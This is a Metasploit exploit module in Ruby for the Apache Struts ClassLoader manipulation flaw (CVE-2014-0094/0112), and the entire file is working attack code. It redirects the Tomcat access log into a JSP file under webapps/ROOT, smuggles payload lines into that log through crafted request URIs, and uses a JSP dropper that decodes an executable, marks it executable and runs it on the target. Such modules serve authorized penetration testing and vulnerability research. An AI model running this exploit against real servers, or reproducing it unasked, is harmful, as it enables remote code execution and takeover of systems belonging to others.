Files
metasploit-gs/modules/exploits/multi/http/struts_code_exec_classloader.rb
T
2014-05-01 16:39:53 -05:00

221 lines
6.5 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
access to 'class' parameter which is directly mapped to getClass() method and
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'pwntester <alvaro[at]pwntester.com>', # PoC
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
],
'Platform' => %w{ linux win },
'Targets' =>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
], self.class)
end
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
def exec_cmd(uri, cmd = "")
res = send_request_cgi({
'uri' => uri+cmd,
'version' => '1.1',
'method' => 'GET',
})
res
end
def is_log_flushed?(resp, content)
return resp.headers["Content-Length"] != "0" && resp.body =~ /#{content}/
end
def modify_class_loader
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
print_status("#{peer} - Modifying class loader")
# Modifies classLoader parameters
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.prefix=#{prefix_jsp}") # Filename
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"
@jsp_file = prefix_jsp
@jsp_file << date_format
@jsp_file << ".jsp"
# Wait till the log is created
uri = "/"
uri << @jsp_file
created = false
print_status("#{peer} - Waiting for the server to create the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = exec_cmd(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200
print_good("#{peer} - Log file created file at http://#{peer}/#{@jsp_file}")
created = true
break
end
end
fail_with(Failure::TimeoutExpired, "#{peer} - No log file was created") unless created
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def execute_jsp
if target['Arch'] == ARCH_JAVA
jsp = fix(payload.encoded)
register_files_for_cleanup("#{@jsp_file}")
else
payload_exe = generate_payload_exe
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup("#{payload_file}", "#{@jsp_file}")
end
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
hint = rand_text_alpha(4 + rand(4))
print_status("#{peer} - Dumping payload into the logfile")
# Commands to be logged
jsp.each_line do |l|
exec_cmd(hint, l.chomp)
end
uri = "/"
uri << @jsp_file
flushed = false
print_status("#{peer} - Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = exec_cmd(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && is_log_flushed?(res, hint)
flushed = true
break
end
end
fail_with(Failure::TimeoutExpired, "Log not flushed on time") unless flushed
end
def exploit
modify_class_loader
execute_jsp
end
end